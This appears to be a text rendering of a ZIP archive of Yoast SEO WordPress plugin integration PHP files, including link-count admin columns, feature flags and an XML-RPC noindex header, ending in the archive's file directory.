			\sprintf(
			/* translators: 1: Link tag to WordPress Hosts page on Yoast.com; 2: Link closing tag */
				\__(
					'Upgrading your PHP version is something your hosting provider can help you out with. If they can’t upgrade your PHP version, we advise you to consider %1$sswitching to a hosting provider%2$s that can provide the security and features a modern host should provide.',
					'wordpress-seo'
				),
				'<a href="' . WPSEO_Shortlinker::get( 'https://yoast.com/wordpress-hosting/' ) . '">',
				'</a>'
			)
		) . '<br />';

		return \implode( \PHP_EOL, $message );
	}

	/**
	 * Checks if the current user has the right capabilities.
	 *
	 * @return bool True when user has right capabilities.
	 */
	protected function has_right_capabilities() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Whether we are on the admin dashboard page or in the Yoast dashboard page.
	 *
	 * We need to have the notice in the main admin otherwise the dismissal mechanism won't work.
	 *
	 * @param string $current_page The current page.
	 *
	 * @return bool True if current page is the index.php.
	 */
	protected function on_dashboard_page( $current_page ) {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( $current_page === 'admin.php' && isset( $_GET['page'] ) && \sanitize_text_field( \wp_unslash( $_GET['page'] ) ) === 'wpseo_dashboard' ) {
			return true;
		}

		return ( $current_page === 'index.php' );
	}

	/**
	 * Checks if the installed php version is supported.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool True when the php version is support.
	 */
	protected function is_supported_php_version_installed() {
		try {
			$checker = new RequirementsChecker( [ 'php' => \PHP_VERSION ] );

			$checker->addRequirement( VersionRequirement::fromCompareString( 'php', '>=7.4' ) );
			$checker->check();

			return $checker->hasMessages() === false;
		}
		catch ( InvalidVersionComparisonString $e ) {
			return true;
		}
		catch ( InvalidType $e ) {
			return true;
		}
	}

	/**
	 * Creates a new message to display regarding the usage of PHP 7.3 (or lower).
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function show_unsupported_php_message() {
		$presenter = new WPMessagePresenter(
			$this,
			new MessageDismisser( \time(), ( \WEEK_IN_SECONDS * 4 ), new WPDismissOption() ),
			\__( 'Remind me again in 4 weeks.', 'wordpress-seo' )
		);
		$presenter->registerHooks();
	}
}
PK       ! At    (  admin/link-count-columns-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Query;
use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action;
use Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Link_Count_Columns_Integration class.
 */
class Link_Count_Columns_Integration implements Integration_Interface {

	/**
	 * Partial column name.
	 *
	 * @var string
	 */
	public const COLUMN_LINKED = 'linked';

	/**
	 * Partial column name.
	 *
	 * @var string
	 */
	public const COLUMN_LINKS = 'links';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The database object.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The post link builder.
	 *
	 * @var Post_Link_Indexing_Action
	 */
	protected $post_link_indexing_action;

	/**
	 * The admin columns cache.
	 *
	 * @var Admin_Columns_Cache_Integration
	 */
	protected $admin_columns_cache;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Posts_Overview_Or_Ajax_Conditional::class,
			Should_Index_Links_Conditional::class,
		];
	}

	/**
	 * Link_Count_Columns_Integration constructor
	 *
	 * @param Post_Type_Helper                $post_type_helper          The post type helper.
	 * @param wpdb                            $wpdb                      The wpdb object.
	 * @param Post_Link_Indexing_Action       $post_link_indexing_action The post link indexing action.
	 * @param Admin_Columns_Cache_Integration $admin_columns_cache       The admin columns cache.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper,
		wpdb $wpdb,
		Post_Link_Indexing_Action $post_link_indexing_action,
		Admin_Columns_Cache_Integration $admin_columns_cache
	) {
		$this->post_type_helper          = $post_type_helper;
		$this->wpdb                      = $wpdb;
		$this->post_link_indexing_action = $post_link_indexing_action;
		$this->admin_columns_cache       = $admin_columns_cache;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'posts_clauses', [ $this, 'order_by_links' ], 1, 2 );
		\add_filter( 'posts_clauses', [ $this, 'order_by_linked' ], 1, 2 );

		\add_action( 'admin_init', [ $this, 'register_init_hooks' ] );

		// Adds a filter to exclude the attachments from the link count.
		\add_filter( 'wpseo_link_count_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] );
	}

	/**
	 * Register hooks that need to be registered after `init` due to all post types not yet being registered.
	 *
	 * @return void
	 */
	public function register_init_hooks() {
		$public_post_types = \apply_filters( 'wpseo_link_count_post_types', $this->post_type_helper->get_accessible_post_types() );

		if ( ! \is_array( $public_post_types ) || empty( $public_post_types ) ) {
			return;
		}

		foreach ( $public_post_types as $post_type ) {
			\add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'add_post_columns' ] );
			\add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 );
			\add_filter( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ] );
		}
	}

	/**
	 * Adds the columns for the post overview.
	 *
	 * @param array $columns Array with columns.
	 *
	 * @return array The extended array with columns.
	 */
	public function add_post_columns( $columns ) {
		if ( ! \is_array( $columns ) ) {
			return $columns;
		}

		$columns[ 'wpseo-' . self::COLUMN_LINKS ] = \sprintf(
			'<span class="yoast-linked-to yoast-column-header-has-tooltip" data-tooltip-text="%1$s"><span class="screen-reader-text">%2$s</span></span>',
			\esc_attr__( 'Number of outgoing internal links in this post.', 'wordpress-seo' ),
			/* translators: Hidden accessibility text. */
			\esc_html__( 'Outgoing internal links', 'wordpress-seo' )
		);

		if ( $this->post_link_indexing_action->get_total_unindexed() === 0 ) {
			$columns[ 'wpseo-' . self::COLUMN_LINKED ] = \sprintf(
				'<span class="yoast-linked-from yoast-column-header-has-tooltip" data-tooltip-text="%1$s"><span class="screen-reader-text">%2$s</span></span>',
				\esc_attr__( 'Number of internal links linking to this post.', 'wordpress-seo' ),
				/* translators: Hidden accessibility text. */
				\esc_html__( 'Received internal links', 'wordpress-seo' )
			);
		}

		return $columns;
	}

	/**
	 * Modifies the query pieces to allow ordering column by links to post.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 *
	 * @return array
	 */
	public function order_by_linked( $pieces, $query ) {
		if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKED ) {
			return $pieces;
		}

		return $this->build_sort_query_pieces( $pieces, $query, 'incoming_link_count' );
	}

	/**
	 * Modifies the query pieces to allow ordering column by links to post.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 *
	 * @return array
	 */
	public function order_by_links( $pieces, $query ) {
		if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKS ) {
			return $pieces;
		}

		return $this->build_sort_query_pieces( $pieces, $query, 'link_count' );
	}

	/**
	 * Builds the pieces for a sorting query.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 * @param string   $field  The field in the table to JOIN on.
	 *
	 * @return array Modified Query pieces.
	 */
	protected function build_sort_query_pieces( $pieces, $query, $field ) {
		// We only want our code to run in the main WP query.
		if ( ! $query->is_main_query() ) {
			return $pieces;
		}

		// Get the order query variable - ASC or DESC.
		$order = \strtoupper( $query->get( 'order' ) );

		// Make sure the order setting qualifies. If not, set default as ASC.
		if ( ! \in_array( $order, [ 'ASC', 'DESC' ], true ) ) {
			$order = 'ASC';
		}

		$table = Model::get_table_name( 'Indexable' );

		$pieces['join']   .= " LEFT JOIN $table AS yoast_indexable ON yoast_indexable.object_id = {$this->wpdb->posts}.ID AND yoast_indexable.object_type = 'post' ";
		$pieces['orderby'] = "yoast_indexable.$field $order, FIELD( {$this->wpdb->posts}.post_status, 'publish' ) $order, {$pieces['orderby']}";

		return $pieces;
	}

	/**
	 * Displays the column content for the given column.
	 *
	 * @param string $column_name Column to display the content for.
	 * @param int    $post_id     Post to display the column content for.
	 *
	 * @return void
	 */
	public function column_content( $column_name, $post_id ) {
		$indexable = $this->admin_columns_cache->get_indexable( $post_id );
		// Nothing to output if we don't have the value.
		if ( $indexable === false ) {
			return;
		}

		switch ( $column_name ) {
			case 'wpseo-' . self::COLUMN_LINKS:
				echo (int) $indexable->link_count;
				return;
			case 'wpseo-' . self::COLUMN_LINKED:
				if ( \get_post_status( $post_id ) === 'publish' ) {
					echo (int) $indexable->incoming_link_count;
				}
		}
	}

	/**
	 * Sets the sortable columns.
	 *
	 * @param array $columns Array with sortable columns.
	 *
	 * @return array The extended array with sortable columns.
	 */
	public function column_sort( array $columns ) {
		$columns[ 'wpseo-' . self::COLUMN_LINKS ]  = 'wpseo-' . self::COLUMN_LINKS;
		$columns[ 'wpseo-' . self::COLUMN_LINKED ] = 'wpseo-' . self::COLUMN_LINKED;

		return $columns;
	}
}
PK       !  8      feature-flag-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Feature_Flag_Conditional;

/**
 * Gathers all feature flags and surfaces them to the JavaScript side of the plugin.
 */
class Feature_Flag_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * All of the feature flag conditionals.
	 *
	 * @var Feature_Flag_Conditional[]
	 */
	protected $feature_flags;

	/**
	 * Feature_Flag_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager    The admin asset manager.
	 * @param Feature_Flag_Conditional  ...$feature_flags All of the known feature flag conditionals.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, Feature_Flag_Conditional ...$feature_flags ) {
		$this->asset_manager = $asset_manager;
		$this->feature_flags = $feature_flags;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals based on which this loadable should be active.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'add_feature_flags' ] );
	}

	/**
	 * Gathers all the feature flags and injects them into the JavaScript.
	 *
	 * @return void
	 */
	public function add_feature_flags() {
		$enabled_features = $this->get_enabled_features();
		// Localize under both names for BC.
		$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeatureFlags', $enabled_features );
		$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeaturesL10n', $enabled_features );
	}

	/**
	 * Returns an array of all enabled feature flags.
	 *
	 * @return string[] The array of enabled features.
	 */
	public function get_enabled_features() {
		$enabled_features = [];
		foreach ( $this->feature_flags as $feature_flag ) {
			if ( $feature_flag->is_met() ) {
				$enabled_features[] = $feature_flag->get_feature_name();
			}
		}

		return $this->filter_enabled_features( $enabled_features );
	}

	/**
	 * Runs the list of enabled feature flags through a filter.
	 *
	 * @param string[] $enabled_features The list of currently enabled feature flags.
	 *
	 * @return string[] The (possibly adapted) list of enabled features.
	 */
	protected function filter_enabled_features( $enabled_features ) {
		/**
		 * Filters the list of currently enabled feature flags.
		 *
		 * @param string[] $enabled_features The current list of enabled feature flags.
		 */
		$filtered_enabled_features = \apply_filters( 'wpseo_enable_feature', $enabled_features );

		if ( ! \is_array( $filtered_enabled_features ) ) {
			$filtered_enabled_features = $enabled_features;
		}

		return $filtered_enabled_features;
	}
}
PK       ! #    
  xmlrpc.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\XMLRPC_Conditional;

/**
 * Noindexes the xmlrpc.php file and all ways to request it.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x.
 */
class XMLRPC implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case when the current request is an XML-RPC request.
	 *
	 * @return array The conditionals based on which this class should be loaded.
	 */
	public static function get_conditionals() {
		return [ XMLRPC_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'xmlrpc_methods', [ $this, 'robots_header' ] );
	}

	/**
	 * Sets a noindex, follow x-robots-tag header on all XMLRPC requests.
	 *
	 * @codeCoverageIgnore Basically impossible to test from the command line.
	 *
	 * @param array $methods The methods.
	 *
	 * @return array The methods.
	 */
	public function robots_header( $methods ) {
		if ( \headers_sent() === false ) {
			\header( 'X-Robots-Tag: noindex, follow', true );
		}

		return $methods;
	}
}
PK       ! FP      integration-interface.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * An interface for registering integrations with WordPress.
 *
 * @codeCoverageIgnore It represents an interface.
 */
interface Integration_Interface extends Loadable_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks();
}
PK         ! )N+    #                blocks/block-editor-integration.phpnu [        PK         !     !            -  blocks/abstract-dynamic-block.phpnu [        PK         ! S.  S.  !            s
  blocks/structured-data-blocks.phpnu [        PK         ! |cZ  Z              9  blocks/block-categories.phpnu [        PK         ! C1:                =  blocks/breadcrumbs-block.phpnu [        PK         ! ./D<
  <
  $            K  blocks/abstract-dynamic-block-v3.phpnu [        PK         ! )                  FV  blocks/.htaccessnu 6$        PK         ! 6_,                W  academy-integration.phpnu [        PK         ! T.mW  W              Si  estimated-reading-time.phpnu [        PK         ! UU*  *               m  exclude-attachment-post-type.phpnu [        PK         ! >                nq  uninstall-integration.phpnu [        PK         ! "
  
  *            u  watchers/indexable-system-page-watcher.phpnu [        PK         !     /              watchers/search-engines-discouraged-watcher.phpnu [        PK         ! 0p    /            ۜ  watchers/indexable-static-home-page-watcher.phpnu [        PK         ! 8/8  8  .              watchers/indexable-taxonomy-change-watcher.phpnu [        PK         ! 4G    ,              watchers/woocommerce-beta-editor-watcher.phpnu [        PK         ! 3  3  "              watchers/option-titles-watcher.phpnu [        PK         ! )                    watchers/.htaccessnu 6$        PK         ! {    &              watchers/indexable-homeurl-watcher.phpnu [        PK         ! U    !            8  watchers/primary-term-watcher.phpnu [        PK         ! 6f-(    (            -  watchers/indexable-post-meta-watcher.phpnu [        PK         ! *?      '             watchers/indexable-ancestor-watcher.phpnu [        PK         ! =    )            X$ watchers/indexable-attachment-watcher.phpnu [        PK         ! }2O                 7 watchers/auto-update-watcher.phpnu [        PK         ! cNz2    1            > watchers/indexable-category-permalink-watcher.phpnu [        PK         ! B    !            aE watchers/addon-update-watcher.phpnu [        PK         ! jN	  N	  -            ?b watchers/indexable-author-archive-watcher.phpnu [        PK         !     #            k watchers/indexable-term-watcher.phpnu [        PK         ! t    (            z watchers/indexable-permalink-watcher.phpnu [        PK         ! Ov'  '  #            G watchers/indexable-post-watcher.phpnu [        PK         ! a,Sa  a  !            . watchers/option-wpseo-watcher.phpnu [        PK         ! 
    /             watchers/indexable-post-type-change-watcher.phpnu [        PK         !     0            = watchers/indexable-post-type-archive-watcher.phpnu [        PK         !     %            z watchers/indexable-author-watcher.phpnu [        PK         ! P2  2  0             watchers/primary-category-quick-edit-watcher.phpnu [        PK         ! VoE
  
  +            i watchers/indexable-date-archive-watcher.phpnu [        PK         ! C{6  6  (            & watchers/indexable-home-page-watcher.phpnu [        PK         ! 	U                o5 support-integration.phpnu [        PK         ! o'"                G primary-category.phpnu [        PK         !                 O front-end/crawl-cleanup-rss.phpnu [        PK         ! i                i front-end/feed-improvements.phpnu [        PK         ! `,խ                | front-end/rss-footer-embed.phpnu [        PK         ! )                   front-end/.htaccessnu 6$        PK         ! ꍐ~  ~  $            ɒ front-end/robots-txt-integration.phpnu [        PK         ! (                 front-end/redirects.phpnu [        PK         ! R9    %             front-end/backwards-compatibility.phpnu [        PK         ! )+^  ^  !             front-end/crawl-cleanup-basic.phpnu [        PK         ! sO    #             front-end/wp-robots-integration.phpnu [        PK         ! `N    $             front-end/crawl-cleanup-searches.phpnu [        PK         ! 
  
              T front-end/handle-404.phpnu [        PK         ! XX    !             front-end/force-rewrite-title.phpnu [        PK         ! ].                0. front-end/open-graph-oembed.phpnu [        PK         ! P2	  2	  *            ; front-end/schema-accessibility-feature.phpnu [        PK         ! =ڤ	
  
              'E front-end/indexing-controls.phpnu [        PK         ! U<R    '            !P front-end/category-term-description.phpnu [        PK         ! 5                 U front-end/comment-link-fixer.phpnu [        PK         !     %            e alerts/abstract-dismissable-alert.phpnu [        PK         ! )                  i alerts/.htaccessnu 6$        PK         ! MD  D  6            wj alerts/black-friday-sidebar-checklist-notification.phpnu [        PK         ! Ї1  1  )            !l alerts/trustpilot-review-notification.phpnu [        PK         ! U%%  %  %            m alerts/webinar-promo-notification.phpnu [        PK         ! :'8  8  .            %o alerts/black-friday-promotion-notification.phpnu [        PK         ! H\8    =            p alerts/black-friday-product-editor-checklist-notification.phpnu [        PK         ! n6  6  "            r exclude-oembed-cache-post-type.phpnu [        PK         ! W&  &              [v cleanup-integration.phpnu [        PK         ! .A  A               front-end-integration.phpnu [        PK         ! /I  I               settings-integration.phpnu [        PK         ! 6ʷ                Ta abstract-exclude-post-type.phpnu [        PK         ! 3X                6f breadcrumbs-integration.phpnu [        PK         ! p(    %            n third-party/woocommerce-post-edit.phpnu [        PK         ! e@    ,            t third-party/exclude-elementor-post-types.phpnu [        PK         ! uJ]                x third-party/web-stories.phpnu [        PK         ! @Q     .             third-party/exclude-woocommerce-post-types.phpnu [        PK         ! )                  ܌ third-party/.htaccessnu 6$        PK         ! tro  o               third-party/wincher-publish.phpnu [        PK         ! ca]L^  ^              ^ third-party/elementor.phpnu [        PK         ! ߖ    &            k third-party/woocommerce-permalinks.phpnu [        PK         ! L<  <               third-party/w3-total-cache.phpnu [        PK         ! nD  D               third-party/jetpack.phpnu [        PK         ! "F                 third-party/amp.phpnu [        PK         ! P                 third-party/bbpress.phpnu [        PK         ! !8w  w  '             third-party/wpml-wpseo-notification.phpnu [        PK         ! q]ں%  %              v, third-party/woocommerce.phpnu [        PK         ! mFk  k              R third-party/wpml.phpnu [        PK         ! ,    %            3Z third-party/web-stories-post-edit.phpnu [        PK         !                  a_ admin/cron-integration.phpnu [        PK         ! hՆ"  "              c admin/import-integration.phpnu [        PK         ! 6+j  j  (            j admin/activation-cleanup-integration.phpnu [        PK         ! 5  5  +            , admin/fix-news-dependencies-integration.phpnu [        PK         ! z8  8  *             admin/installation-success-integration.phpnu [        PK         ! :*S<  <  .            N admin/first-time-configuration-integration.phpnu [        PK         ! хj$  $  #            ` admin/indexing-tool-integration.phpnu [        PK         !                   admin/menu-badge-integration.phpnu [        PK         ! T	߾
  
  "             admin/health-check-integration.phpnu [        PK         ! ;r    +             admin/indexing-notification-integration.phpnu [        PK         ! x<    )            * admin/deactivated-premium-integration.phpnu [        PK         ! G>    1             < admin/indexables-exclude-taxonomy-integration.phpnu [        PK         ! T=+  +  )            B admin/background-indexing-integration.phpnu [        PK         ! ,3  3              im admin/helpscout-beacon.phpnu [        PK         ! };!    '            Ƞ admin/old-configuration-integration.phpnu [        PK         ! yg32,  2,               admin/workouts-integration.phpnu [        PK         ! LU8'  8'              4 admin/integrations-page.phpnu [        PK         ! ߶+  +  $             admin/crawl-settings-integration.phpnu [        PK         ! 6RX                ' admin/redirect-integration.phpnu [        PK         ! y     $            . admin/redirects-page-integration.phpnu [        PK         ! k    5            4 admin/addon-installation/installation-integration.phpnu [        PK         ! )      "            L admin/addon-installation/.htaccessnu 6$        PK         ! 4P    /            M admin/addon-installation/dialog-integration.phpnu [        PK         ! hA    5            [ admin/first-time-configuration-notice-integration.phpnu [        PK         ! A|b  b  )            2p admin/admin-columns-cache-integration.phpnu [        PK         ! a                 admin/.htaccessnu 6$        PK         ! c  c  %            & admin/migration-error-integration.phpnu [        PK         ! t  t               ޜ admin/check-required-version.phpnu [        PK         ! @W  W  (             admin/unsupported-php-version-notice.phpnu [        PK         ! At    (            Q admin/link-count-columns-integration.phpnu [        PK         !  8                 feature-flag-integration.phpnu [        PK         ! #    
             xmlrpc.phpnu [        PK         ! FP                 integration-interface.phpnu [        PK    v v W-  